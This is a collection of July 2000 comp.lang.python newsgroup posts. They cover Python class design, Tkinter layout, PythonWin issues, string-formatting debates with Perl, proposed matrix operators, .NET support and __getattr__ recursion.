From: dale at out-think.NOSPAMco.uk (Dale Strickland-Clark)
Date: Tue, 11 Jul 2000 08:10:35 +0100
Subject: How to approach this?
References: <8kal5v$8n5$1@supernews.com> <slrn8mhp6b.fu4.jepler.lnk@potty.housenet>
Message-ID: <8keh9o$k0n$1@supernews.com>

Thanks for the replies. I studied them carefully and had a think and I've
come up with this, which I think does what I want:

------------------
class master:
    def __init__(self):
        print "master"

    def __del__(self):
        print "deleted"

    def newslave(self, id):
        return sub(self, id)

class slave:
    def __init__(self, parent, id):
        print "slave init", id
        self.p, id = parent, id

    def __del__(self):
        print "slave del", self.id
-----------------------

'newslave,' being a method of 'master', necessarily requires an instance of
'master'. It returns an instance of 'slave'. However that instance won't be
deleted until all of the instances of 'slave' have gone.


--
Dale Strickland-Clark
Out-Think Ltd, UK
Business Technology Consultants


jepler epler <jepler.lnk at lnk.ispi.net> wrote in message
news:slrn8mhp6b.fu4.jepler.lnk at potty.housenet...
> You may be aware of the idiom:
>
> class C: pass
>
> _instance = None
> def SingletonMaker():
> global _instance
> if _instance is None:
> _instance = C()
> return _instance
>
> thus, instead of instantiating C directly, you call SingletonMaker.
>
> However, this doesn't do the other thing you want, which is to collect
> _instance when it has no more users.
>
> Something like the following ought to work:
>
> class UsesSingleton:
> def __init__(self):
> self.instance = SingletonMaker()
>
> def __del__(self):
> if sys.getrefcount(self.instance) == 3:
> # _instance, self.instance, and the arg to
> # sys.getrefcount
> _instance = None
> # When the function ends, the refcount will
> # drop to 0, so self.instance will be collected
> # and the next call to SingletonMaker will
> # make a new one
> # else, there are other references to the instance...
>
> Of course, if someone else stores a reference to the singleton object,
> this won't work..
>
> Jeff




From db3l at fitlinxx.com  Thu Jul 27 01:45:00 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 27 Jul 2000 01:45:00 -0400
Subject: Python is wierd!
References: <LNBBLJKPBEHFEDALKOLCOEMPGLAA.tim_one@email.msn.com> <8lk1c5$fv4$1@nnrp1.deja.com> <Pine.A32.3.90.1000725123438.17707C-100000@elvis.med.Virginia.EDU> <8llqkl$rof$1@nnrp1.deja.com> <397FC213.88603B9E@see.my.signature>
Message-ID: <u7la8m8ir.fsf@ctwd0143.fitlinxx.com>

Greg Ewing <to_get_my_address at see.my.signature> writes:

> And to answer your question, yes, you can create an instance
> variable at any time simply by executing "instance.name = value".

Which actually leads to an interesting question relating to a point
that I'm curious how others handle.

If I'm going to package up some state (various bits of information)
into a class (aka using one as a structure - data only), one approach
could be to define an empty class:

    class MyInfo:
	pass

and then whenever I need to later:

    newstate = MyInfo()
    newstate.variable = value
    newstate.other_variable = value

and so on.  Or instead, I can be a little more up front in the first
place and do something like:

    class MyInfo:
        def __init__(self):
            self.variable = initial_value
            self.other_variable = initial_value

I find that the latter approach seems cleaner to me in terms of
defining what I'm going to be using the structure for, but in
practical terms unless you want special initialization, there's not a
lot of difference between the two methods I suppose.  And I've even
found myself in one instance going this route but then in an error
path through the code augmenting the structure with another instance
variable or two just for the failure path (boy, that "felt" wierd).

Of course, if you don't fully populate the information, then you have
to be prepared to field NameErrors later on attributes within the
class instance that weren't assigned.

I'm curious what others would think of the two approaches?

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From digitig at cix.co.uk  Sun Jul 16 16:26:00 2000
From: digitig at cix.co.uk (Tim Rowe)
Date: Sun, 16 Jul 2000 21:26 +0100 (BST)
Subject: Top 10 Language Constructs (Phyton)
References: <8kmtab$4or$1@pollux.ip-plus.net>
Message-ID: <memo.20000716212628.17453B@digitig.compulink.co.uk>

In article <8kmtab$4or$1 at pollux.ip-plus.net>, GustavsB at ch.sibt.com (Bruno 
Gustavs) wrote:

> "Dinu C. Gherman" <gherman at darwin.in-berlin.de> wrote in message
> news:396EE7BC.DA2FA7B3 at darwin.in-berlin.de...
> > What do you mean by "language constructs", Python keywords
> > like "for" or "class"? Are you expecting some statistics of
> > used keywords over one's own code?
> >
> > I doubt this will be very useful, like the answer to the
> > question: "Which are the ten most used words in English?".
> > But maybe I'm not understanding well how you think you'll
> > benefit from such an answer...
> 
> Lets assume you're going to design Phyton2. What would this
> language contain? What should Phyton2 support? What would you
> like to solve with Phyton2?

People's "top 10 constructs" would be a disastrous basis for such a 
language. I'm trying to remember the name of a language I used many years 
ago that was designed by government committee. It had about 10 ways of 
doing some obscure things (because everybody on the committee had 
contributed their favourite solution) but no ways of doing quite ordinary 
things (because everyone on the committee used those things but none of 
them noticed them). The result was like a car with three different 
air-conditioning units and no engine.

/Much/ better IMHO is to see what application domains Python is 
particularly strong in, and to try to find out what distinguishes Python 
in those domains. Then look for ways it can be improved in those specific 
domains and expanded into closely related domains. At the moment there are 
things I use Python for and things I use Ada for. If the next version of 
Python tried to muscle in on the mainstream Ada territory it would almost 
certainly find that Ada still did those things better but the attempted 
shift had broken it's advantage in those things it was good at before.


From robin at jessikat.fsnet.co.uk  Fri Jul 14 12:28:40 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Fri, 14 Jul 2000 17:28:40 +0100
Subject: find -name *.ext in Python
References: <396F1C32.9A1CE891@seatech.fau.edu>
Message-ID: <LOepQhA4+zb5Ew1$@jessikat.fsnet.co.uk>

In article <396F1C32.9A1CE891 at seatech.fau.edu>, Benoit Dupire
<bdupire at seatech.fau.edu> writes
>I wrote a simple Python script to perform the Unix function
>find -name *.ext
>on a NT system.
>I would like to know if there is a way to simplify it (or to perfect
>it).
>
1.5.2 has a find.py in Lib, but it's going away apparently.
-- 
Robin Becker


From kpmurphy at my-deja.com  Mon Jul 17 15:32:53 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Mon, 17 Jul 2000 19:32:53 GMT
Subject: Grid Geometry Manager and grouping?
References: <8k013q$lon$1@nnrp1.deja.com> <H5N85.886$dL5.17528@news6-win.server.ntlworld.com>
Message-ID: <8kvn15$7t3$1@nnrp1.deja.com>

richard,

	what i'm trying to do is create my own widgets.  once i make one, i'd
like to be able to grid it.  each of my widgets will have multiple items
in it (ex. label and an entry ==> myWidget) and then i would place
multiples of myWidget together.  i like the grid manager because i can
put things exactly where i want them.  can you do a grid inside a frame,
then grid multiple frames toghether?   thanks,

-->keith

In article <H5N85.886$dL5.17528 at news6-win.server.ntlworld.com>,
  "richard_chamberlain" <richard_chamberlain at ntlworld.com> wrote:
> Hi Keith,
>
> For what purpose do you want to group the areas?
>
> An example of frames:
>
> from Tkinter import *
> root=Tk()
> frame1=Frame(root,relief=GROOVE,borderwidth=3)
> frame2=Frame(root,relief=GROOVE,borderwidth=3)
> for i in range(1,9):
>     Label(frame1,text="Frame: 1 - Label: %d" %i).pack()
>     Label(frame2,text="Frame: 2 - Label: %d" %i).pack()
> frame1.pack(side=LEFT,fill=BOTH,expand=1)
> frame2.pack(side=LEFT,fill=BOTH,expand=1)
>
> root.mainloop()
>
> Pmw has got Pmw.Group, a framed widget on which you can have a label
or
> other widget in the frame and then a number of widgets within the
frame.
>
> Give me an example of what you want to achieve and I'll have a go.
>
> Richard
>
> Keith Murphy <kpmurphy at my-deja.com> wrote in message
> news:8k013q$lon$1 at nnrp1.deja.com...
> > i've found that i like grid the best.  is there a way to group
sections
> > of the window together... like the left side is for one purpose and
the
> > right for another?  I have been playing with frames to no avail.
> >
> > i really appreciate all the help this ng has given me thus far in
> > learning python.  kudos to all of you!
> >
> > -->keith
> >
> >
> > Sent via Deja.com http://www.deja.com/
> > Before you buy.
>
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From fiona at sitegnome.com  Thu Jul 27 04:30:27 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: Thu, 27 Jul 2000 18:30:27 +1000
Subject: Python & AI
References: <fr8rnskopofu13smscl4rm0b1pacisbikk@4ax.com>
Message-ID: <397FF323.1A9EB0D0@sitegnome.com>

Hi !

I don't know how useful it is but this link was added into
python.faqts.com by Arthur T. Murray

Porting Mind.Forth AI to Python
http://www.geocities.com/mentifex/python.html

he also has been working on http://ai.faqts.com , though it's only got 3
entries :-)

cheers,

F.

rhymes wrote:
> 
>  Do u know something on the net related to Artificial Intelligence and
> Python Language??
> 
> Thanx in advance.
> 
> Lawrence Oluyede
> 
> rhymes at tiscalinet.it
> 
> "Per cambiare,
> per diventare un' altra cosa
> dobbiamo prima sapere cosa siamo"
> 
> Bruce Lee

-- 

Site Gnome - site maintenance, documentation and proof reading

http://www.sitegnome.com


From dalke at acm.org  Sun Jul 30 16:20:26 2000
From: dalke at acm.org (Andrew Dalke)
Date: Sun, 30 Jul 2000 14:20:26 -0600
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <3981D737.CBA366F@alcyone.com> <slrn8o40ni.49c.grey@teleute.rpglink.com> <ogk4oso77hu55jepdvssdj7od4s1j481rh@4ax.com> <slrn8o6o57.f91.grey@teleute.rpglink.com> <8lvovs1dj1@news2.newsguy.com> <slrn8o75fq.fjt.grey@teleute.rpglink.com>
Message-ID: <8m22fg$5gs$1@nntp9.atl.mindspring.net>

Steve Lamb wrote:
>1
>
>What comes next?

The phrase "is the lonliest number"
  http://dork.com/pirfuct/oneisthelonliest.html

Or "o'clock, 2 o'clock, 3 o'clock rock"

Or "for the money, 2 for the show"

Or "ring to bring them all and in the darkness bind them"
  http://www.flwyd.dhs.org/metw/cotd/issues/298.html

  :)

                    Andrew
                    dalke at acm.org





From yartz at imaginet.fr  Sun Jul 16 09:46:08 2000
From: yartz at imaginet.fr (Yann Schwartz)
Date: Sun, 16 Jul 2000 15:46:08 +0200
Subject: Pythonwin: problem with syntax highlighting
References: <32966860B9270DBB.82F799B3E78DDCD7.9E33DCD378F53BB0@lp.airnews.net> <ikic5.3290$4p3.25691@news-server.bigpond.net.au>
Message-ID: <EABC31C648103B42.432B9CA0A822ECC0.C4019F27CB13B3E1@lp.airnews.net>

On Sun, 16 Jul 2000 12:58:54 GMT, "Neil Hodgson" <neilh at scintilla.org>
wrote:

>   Telling us what version number will help. Using PythonWin 132 is best if
>you are running Python 1.5.x.

I'm using pythonwin build 132 and python 1.5.2. All the win32 stuff
works well, I can run scripts and code my own, but no call tips
whatsoever.


>
>> There's just one irritating thing, not with the language itself, but
>> with the pythonwin editor. I havn't managed to make autocompleting and
>> syntax highlighting to work.
>
>   Autocompletion requires some symbols to be loaded. I don't know all the
>ways this can happen but in the interactive window try
>
>import win32api
>win32api.
>
>   After you press the '.' you should see a list appear.

And no list appears when I try this. I remember seeing such lists two
or three weeks ago, but now nothing shows up (and I've installed
python+pythonwin on 3 different setups : win98, nt4serv and w2k
advanced server. I don't have autocompletion on any of those).

>
>   Syntax highlighting should just happen - it even looks as though Mark has
>dropped the option to turn off syntax highlighting.

Do you mean coloring ? The source is colored alright.

>   Help is bad too? Your machine is posessed by the anti-Python! Try
>uninstalling and reinstalling. And use Python 1.5.2 and PythonWin 132.

Actually the online help is fine, I was talking about call tips,
autocompletion and all these niceties which make life easier (and yes,
I've uninstalled and reinstalled twice already).

I know it sounds strange....


From grey at despair.rpglink.com  Sat Jul 29 18:21:40 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sat, 29 Jul 2000 22:21:40 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <8lrt2h013fp@news2.newsguy.com> <3981BE50.23DB16C5@infercor.no> <8lsu2a02ho4@news2.newsguy.com> <slrn8o4clt.abr.nobody@isis.visi.com> <8luhsl21ce8@news2.newsguy.com>
Message-ID: <slrn8o6m3f.f91.grey@teleute.rpglink.com>

On Sat, 29 Jul 2000 12:13:16 +0200, Alex Martelli <alex at magenta.com> wrote:
>(XML helps.  But don't anybody think it's anywhere close to
>the panacea it's apparently considered to be in some circles;
>that is just Yet Another recurrence of the never-ending dream
>for the Magic Bullet:-).

    Someone tell that to the people who wrote O'Reilly's Java & XML and, hmm,
there was another one out there.  If you want a good chuckle pick it up and
read the first two paragraphs of the preface and introduction.  In a nutshell
anyone who has that awesome tome in their trembling hands is clearly sweating
bullets because they don't know XML, their manager is breathing down their
neck for not knowing it, their wife is leaving them, they are lost in a sea of
data, unable to do anything, unable to even SLEEP, until they understand XML
because XML is /THE/ languages of the gods, business, and Robert Downey Jr!!!

    Me, I filed the book away until I actually have a need for it in spite of
the author's view of its use in the world.  So far I have seen two /examples/
of its use at one conference and to me it looks like a markup language with
definable tags.  

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From mwh21 at cam.ac.uk  Thu Jul 27 18:02:25 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 27 Jul 2000 23:02:25 +0100
Subject: PY to HTML
References: <IZ%f5.2964$kh.401847@news2.rdc2.on.home.com>
Message-ID: <m3u2db9qq6.fsf@atrus.jesus.cam.ac.uk>

"Colin Meeks" <colinmeeks at home.com> writes:

> Does anybody know anything that will enable me to convert a Python script to
> HTML, so I can display it on a webpage nicely formatted with syntax colour
> coding.  Manually coding is a pain in the posterior :-)

There's one here (py2html.py):

http://starship.python.net/crew/lemburg/

Cheers,
M.

-- 
  If i don't understand lisp,  it would be wise to not bray about
  how lisp is stupid or otherwise criticize, because my stupidity 
  would be archived and open for all in the know to see.
                                                -- Xah, comp.lang.lisp


From alex at magenta.com  Sun Jul 30 10:29:42 2000
From: alex at magenta.com (Alex Martelli)
Date: Sun, 30 Jul 2000 16:29:42 +0200
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <8lst4r02grr@news2.newsguy.com> <slrn8o444p.49c.grey@teleute.rpglink.com> <8luhso41ce8@news2.newsguy.com> <slrn8o6lo2.f91.grey@teleute.rpglink.com>
Message-ID: <8m1f0462n4o@news2.newsguy.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8o6lo2.f91.grey at teleute.rpglink.com...
> On Sat, 29 Jul 2000 13:53:02 +0200, Alex Martelli <alex at magenta.com>
wrote:
> >Yes, so the latter is best when you have a single format you want to
> >apply to several different variables at various point, the former is
> >best when the names are fixed.  That's why Python supplies both.
>
>     Excellent description except for one thing, I never said that the
variable
> names were fixed.  Take a look at Perl's ##foo, for example.  Well, more
> accurately ${$foo}.  Again, just taking a pseudo-code, not a real lanauge.

The 'soft-reference' where a variable holds the _name_ of another
variable?  As I understand it, it's deprecated, Perl texts suggest
you don't use it, and use strict (which is strongly suggested)
cries to high heavens if you do use it.  I would not take it as
something Perl experts consider a particularly good idea, then.


> >    "Here is a very %(adj)s %(noun)s!"
> "Here is a very $$adj:$format $$noun:$format!"
> >    "Ecco una %(noun)s molto %(adj)s!"
> "Ecci una $$noun:$format molto $$adj:$format!"
>
> >    print format % {'adj':adjective1, 'noun':noun1}
> >    print format % {'adj':adjective2, 'noun':noun2}
>
>     print format
>
>     Adj and noun need to be assighed in either case.  Except when we do it
> inline we can see what formatting goes with what.  It really is semantical
in
> nature since there is no different at all in function that I can find.
The

When the format string is expressed as an inline constant you can see it in
place, but you don't have the other advantages (such as
internationalization,
and assurance that the *same* format is used in N places, without having to
edit each place with the utmost care each time a change is specified) that
only come with obtaining the format-string through a variable.  The second
class of advantages generally dominate in larger programs.  But on these
axes there is indeed no important difference between Python's exact syntax
and the hypothetical one you suggest (most definitely, NO _semantical_
difference: semantical="related to meaning"; do you mean syntactical?).

The advantages of referring to an explicitly specified dictionary (mapping
object) rather than force the reference to be always and only to the
implicit mapping-object variable_names->variable_values are however
multifarious.  Several bindings (mapping objects, dictionaries) can be
easily maintained and passed around, with choice between them taken at
whatever moment is desired, up to the very last moment; the same thing
is horridly cumbrous to do if the implicit vars() mapping is the only
one you can use.  For example, say the two outputs may themselves need
to be made in the reverse order; then, having the two dictionaries
in a 2-element sequence, you only need to arrange to have either (0,1)
or (1,0) in another variable, and use a for loop over that variable.

Encoding such aspects in data is most often handier than expressing
them in code, which you'll need far more frequently if the tools you
have always necessarily make reference to the implicit mapping that
variable-names encode.  (That's part of why 'eval' is needed much more
often in Perl than in Python, by the way, as soon as a program gains
any heft and/or need for 'solidity'; but these are other issues).

> only difference is having to match up what is at the end of the string
with
> what is right there where you're looking at the moment.

When you end with % vars(), there is no substantial difference.
When you use the more substantial flexibility allowed by using
other mapping-objects, if that flexibility is needed, then the
advantages are many -- see above for a *beginning* to them.


> >> "%d:0:0 %c:U %s %s %s %s %d %s %s %s \
> >> %d:0:0!",$a,$b,$c,$d,$e,$f,$g,$h,$i,$j,$k
>
> >>     What variable goes with what again?
>
> >Yes, a format-string with named-placeholders does help with that, too.
>
>     But not as much as just having the variables in line with the
formatting
> where reading is still the natural left to right (for us natives of
European
> lanauges) with all information presented where it must be.

I'm a European native, too, and I disagree with your contention
that there is any substantial difference.


> >I'm very happy not _having_ to invent some arbitrary name when what
> >I want to do is output one or more arbitrary expressions, computed
> >on the fly, for example.  Naming has its place, but so does quiet
> >anonimity...:-).
>
>     Why do you need to place them at the end?

For many reasons, above all the need to distinguish and separate
_computational substance_ from _presentation_ -- as most obviously
shewn on the web, where far too many site-authors that just do not
understand this issue have made such an utter mess of things.

Presentation style in ONE place (be it a style-sheet, or a humble
format-string), computational content in ANOTHER (scripts, formulas,
expressions), makes each easy to edit, maintain, develop, and
reuse separately.  Mixing them up too much just makes a mess.


> "1 + 1 = ",1 + 1:0:0, ",really, it is!"
>
>     Again, fake language.  I don't see a need to have placeholders for
simple
> statements at the end when you can place those statements in line.

Apparently, you're very, VERY keen to never sell your software
anywhere except English-speaking markets, and, even there, strive
to make life as hard as possible for the technical writers that
are responsible for maintaining the text you present to the end
user, which are not the same people who maintain the program's
computational parts and should not have to delve into the code
of that program.

Most of us would just as soon keep things more flexible and
usable, with a format-string with place-holders, that can most
easily be moved to a separate file (where specialists can edit
it, internationalize it, etc) and fetched from there at need.

But even then, your fake language appears to have very strange
problems in order to offer you the disadvantage of mixing things
up that way.  Specifically, the flags and numbers related to
string-formatting end up mixed with the syntax of other kinds
of expressions.  You will therefore need to use more special
characters, distinct from those used for all other operators,
as well as lots of rules about precedence and grouping.  This
smacks to me as lots of ad-hoccitis, hard work, and complexity,
all for no benefit at all (indeed, the reverse).

I suggest you go ahead and fully design the fake-language of
your dreams, implement it (Python makes that pretty easy,
exactly because it has so LITTLE ad-hoccitis & complexity!),
and use it for a while.  I suspect this will give you much
keener insight and clearer perception of the issues that
are involved, one way or another; i.e., such experience will
by no means nevessarily change your opinions to make them more
similar to mine (many language designers and implementers have
all sorts of differing opinions on this, clearly -- just look
at the huge variability in languages' approach to formatting)
but at the very least it will give your opinions sharpness
and founding, which at this time they lack.  (Like most people
in our field with decades of experience, I've had to design
and implement several special-purpose languages of various
scope along the years, and, having essayed all flavours, I
now consider format-strings, particularly Python-like ones,
quite preferable to variable-by-variable formatting, e.g. the
mainstream-C++ approach; and note that I use C++ even more
than Python, so, once again, it's NOT an issue of "what I'm
[most] familiar with", but a well-rooted technical evaluation
of the pro's and con's of the many alternatives).


> >Could be (I _am_, after all, a well-known sadomasochist!), but, if
> >it were that, I think I'd be programming in C shell (hard to think
> >of a more painful way to make a living; and yet there _were_ people
> >writing scripts in it rather than the somewhat-less-painful Bourne
> >shell, for reasons I've always found utterly unfathomable...).
>
>     ESC-P comes to mind.  I find all shell scripts horrible.  Any time I
need
> to work on one I take the basic logic and rewrite in Perl.  Less need to
have

That's what I would have liked to do, but often couldn't because
Perl might not be installed on some target-machines, sigh.  At
least, Bourne-shell could be counted on at the time.

> to worry about globbing and proper escaping of everything and handing
> different input/output expectations from different programs.  Sure, I'll
use
> grep on the command line but I'd rather see while(<>){m//;} in the script,
> thank you.

You're welcome.  But

for line in fileinput.input():
    if cre.match(line): print line

currently makes me even happier:-).


Alex





From johannes at zellner.org  Fri Jul  7 17:17:52 2000
From: johannes at zellner.org (Johannes Zellner)
Date: Fri, 7 Jul 2000 23:17:52 +0200 (CEST)
Subject: accessing a char* from a dl.sym
Message-ID: <Pine.LNX.4.21.0007072312020.6772-100000@krispc6.physik.uni-karlsruhe.de>

Hello,

this question is really a question about a /dirty/ hack.
Anyway: suppose I've

    import dl
    handle = dl.open('/usr/lib/libreadline.so')
    cp = handle.sym('rl_completion_append_character')
    print cp

so far so good. cp contains a pointer to a c (char*) pointer.
Can I assign something to this pointer ?

    1) how do I assign a 0 from python, what would read in c:
       *rl_completion_append_character = 0;
    1) how do I assign a string from python, again in c it would be:
       rl_completion_append_character = strdup('fred');

any help would be much appreciated.

-- 
   Johannes




From kellyk at my-deja.com  Wed Jul 12 17:40:10 2000
From: kellyk at my-deja.com (kellyk at my-deja.com)
Date: Wed, 12 Jul 2000 21:40:10 GMT
Subject: Pythonwin IIS-ASP module imports (bug)
Message-ID: <8kiojo$69q$1@nnrp1.deja.com>

In IIS 4 using Pythonwin 132 modules are not reloaded when an ASP script
is run. Modules are reloaded properly in Pythonwin 129 (I just tested
this) so I will just go back to version 129 but...

The following script should just print out Python's version number but
each time it is refreshed in the browser it tags on an additional
"banana". Refresh it 5 times and sys.version has 5 "banana"'s appended.

---begin script
<%@ LANGUAGE = Python %>
<%
import sys

Response.Write("<p>" + sys.version + "</p>")

sys.version= sys.version + "banana"
%>
---end script





Sent via Deja.com http://www.deja.com/
Before you buy.


From lull at acm.org  Thu Jul 20 21:57:04 2000
From: lull at acm.org (John Lull)
Date: 20 Jul 2000 20:57:04 -0500
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <m3og3tkvw3.fsf@chinon.cnrs-orleans.fr> <39771F6D.A9A0A26B@yale.edu> <slrn8nemsi.rb.hzhu@localhost.localdomain>
Message-ID: <gm9fns831at7mpsv11i00bqifq17acpjsp@4ax.com>

At the dawn of the third millenium (by the common reckoning),
hzhu at localhost.localdomain (Huaiyu Zhu) wrote (with possible
deletions):

> On Thu, 20 Jul 2000 11:49:01 -0400, Paul Magwene <paul.magwene at yale.edu> wrote:
> >Konrad Hinsen wrote:

> >A(+.*)B

> There is one reason this will not be accepted eventually.  The parathesis
> suggests the possibility of a calculas of operators within them, when, in
> fact, operators are hardcoded in the C program.  John Lull had given a clear
> explanation why this is so.

I think your objection here is to the '+.*' bit, rather than the
parentheses. Correct?  Do you have the same objection to the simple
(*) ?

I really like the general form of this proposal, but am a bit troubled
by the use of parentheses.  I wish there was another character
available, such that (at some future time) this mechanism might be
extended to permit arbitrary named operators to be added -- something
like

   a :*: b

evolving to permit

   a :opName: b

where the surrounding :: flags both of these to the compiler as
operators handled in a standard way -- the first pre-defined by the
language, the second defined by either object.

Parentheses & brackets clearly can't be extended this way, since
a(opName) and b[opName] already have clear meanings to the compiler.
Braces likely would not work for a similar reason.

I don't know that : is the appropriate character to use here, nor
whether its use would cause other problems during lexical analysis.  I
think it's worth considering any characters that might be appropriate.

Somehow the :: isn't quite as satisfying or obvious in matrix
applications as () or [].  I kind of like the degree symbol someone
else proposed as the modifier.  Too bad it's not more generally
available.

In any case, we don't *need* to solve the general problem -- but it
wouldn't hurt to consider it.  If such a mechanism had been already in
Python, we probably wouldn't be having this discussion.

Regards,
John


From pduffin at hursley.ibm.com  Wed Jul 26 08:31:48 2000
From: pduffin at hursley.ibm.com (Paul Duffin)
Date: Wed, 26 Jul 2000 13:31:48 +0100
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <200007260357.NAA28707@xevious.dstc.monash.edu.au> <gVzf5.12683$4p3.97772@news-server.bigpond.net.au>
Message-ID: <397EDA34.9CFF2BF2@hursley.ibm.com>

Mark Hammond wrote:
> 
> "David Arnold" <arnold at dstc.monash.edu.au> wrote in message
> news:200007260357.NAA28707 at xevious.dstc.monash.edu.au...
> > -->"Alex" == Alex Martelli <alex at magenta.com> writes:
> >
> >   Alex> since IL does not support multiple inheritance of
> >   Alex> implementation, which full Eiffel wants; dunno what Python
> >   Alex> .NET will do about that).
> >
> > urk!  is that true?  mark?  is this an issue for Python/IL ?
> 
> Yes, and yes.
> 
> Not a huge problem for Python - just a "to be implemented" :-)  Python
> defines very dynamic semantics, meaning we can fake this.
> 
> For example, multiple inheritance when used from Python will work just
> fine - but if you look at this Python class using the .NET disassembler
> (for example), it will not be apparent that this MI exists - the compiler
> will simply generate the code to populate the __bases__ attribute of the
> class, but the actual attribute lookups will still be done at runtime.
> However, I believe that raw benchmark figures will keep pressure on the
> Python port having the necessary tricks to take full advantage of the
> platform when necessary.
> 
> Neil's previous post about the homogenisation of the languages is pretty
> close to the truth - except that this is as much a time and effort issue
> as a requirement forced by the platform.  The Eiffel and Python efforts
> are both putting the existing language semantics over new .NET features,
> but the pressure of getting working code out means we are willing to make
> short-term compromises to get a reasonable 80% solution.  It has been a
> moving target, and anyone expecting to find a fully functional
> implementation of _any_ non-MS language is going to be disappointed.
> Fortunately, we appear to have a reasonable amount of time before this is
> actually released, so it is still very much early days.
> 

How likely do you consider the possibility that Microsoft will change 
the IL to allow the non-MS languages to be fully supported ?

Unless the probability is VERY high what is the point of doing this
at all as you would end up with a versions of the language which were
not compatible with the other versions.


From david at tumbleweed.com  Thu Jul 13 13:02:20 2000
From: david at tumbleweed.com (david at tumbleweed.com)
Date: Thu, 13 Jul 2000 17:02:20 -0000
Subject: getpid Usage
Message-ID: <8kksms+n5h5@eGroups.com>

Is there some convenient way of getting os.getpid to return the PID of
a given executable? What I want to do is start a process and know it's
PID. When I do the following I get the PID of the python executable.

os.system("path")
os.getpid()

Alternatively, as a hack, I am doing:
os.system(self.m_server_start_exe)
for line in os.popen("ps -ef | grep -i IMEController | awk '{ if (NR >
1) { print $2 }}'").readlines():
            pid = line[:-1]

I would rather just path in an executable name/pathname and have it
return this process' pid. Is there an updated version of os.getpid I
could use to do this. If not, is there a better solution that is not
shell dependent?

Thanks,
David





From W.Whiten at mailbox.uq.edu.au  Fri Jul 21 18:04:49 2000
From: W.Whiten at mailbox.uq.edu.au (Bill Whiten)
Date: Sat, 22 Jul 2000 08:04:49 +1000
Subject: Operators for everything (was Re: Operators for matrix)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <oa5dns8idp0ktl6kvlr37ps1ovrip48a0h@4ax.com> <3977AF5E.552F4F42@my.signature> <W.Whiten-2107001658290001@whiten-mac.jkmrc.uq.edu.au> <m38zuvny7v.fsf@atrus.jesus.cam.ac.uk> <39789C90.B1212E48@prescod.net>
Message-ID: <W.Whiten-2207000804490001@whiten-mac.jkmrc.uq.edu.au>

In article <39789C90.B1212E48 at prescod.net>, Paul Prescod
<paul at prescod.net> wrote:

> Michael Hudson wrote:
> > 
> > The semantics would be:
> > 
> > a @<id> b === <id>(a,b)
> > 
> > for any valid identifier <id>.
> > 
> > There are still precedence issues, but I think they can be ignored
> > (make everything of this from the same (low) precedence & left
> > asssociative).
> 
> I like this idea. Is it appropriate to have just the whitespace as the
> delimiter though?
You could terminate with another @ or _ . Or these, plus the alternative
of white space. None is perfect - but it could be practical and useful.

> 
> It also seems like it could be combined (perhaps painfully) with the
> requirement that some operators take parameters:
> 
> a @foo(x,y) b
This could build a nice tensor notation. Eg the arguments specify the
summing subscripts.

Regards,
-----------
Bill Whiten,                                     W.Whiten at mailbox.uq.oz.au
Julius Kruttschnitt Mineral Research Centre,
The University Of Queensland,                       Tel: int +61 7 3365 5888
Isles Rd, Indooroopilly,                            Fax: int +61 7 3365 5999
Brisbane Qld 4068, AUSTRALIA.


From gmcm at hypernet.com  Wed Jul  5 16:39:50 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 05 Jul 2000 20:39:50 GMT
Subject: __getattr__ and pickle
References: <395f26a4.1832855@news.iol.ie> <395f2748.1996610@news.iol.ie> <395f27ab.2095753@news.iol.ie> <8F655BA3Egmcmhypernetcom@199.171.54.154> <vzL85.16702$227.301196@nnrp1.uunet.ca>
Message-ID: <8F68A4032gmcmhypernetcom@199.171.54.194>

Warren Postma wrote: 

>
>"Gordon McMillan" <gmcm at hypernet.com> wrote in message
>news:8F655BA3Egmcmhypernetcom at 199.171.54.154...
>> [posted and mailed]
>> C'mon Sean! You've been around a while. You know when __getattr__
>> hacks go bad it's because they go recursive. (And the stack size on
>> Windows is off by  some tiny amount, so it GPFs instead of traps.)
>
>
>That kinda says (a) Windows Sucketh, and (b) surely there must be a
>workaround for the Infinite-Recursion-Crash bug?

Well, (a) is your own conclusion, not mine; and Christian also has a tiny 
little patch that fixes (b) for standard Python on Windows (it's a 
miscalculation in Python's config that doesn't leave enough stack space for 
handling the traceback). I don't use it, because I know the symptoms, and 
can usually fix the problem before the stack trace finishes printing.

>Oh yeah, there is, .... It's called Christian Tismer's Stackless Python.
>Hope that stackless makes it into the official python, by 1.7, or if
>not, there's always 3000.  Here's hoping.

I love it too, but it gives you a whole bunch of entertaining new ways to 
get into infinite recursions.

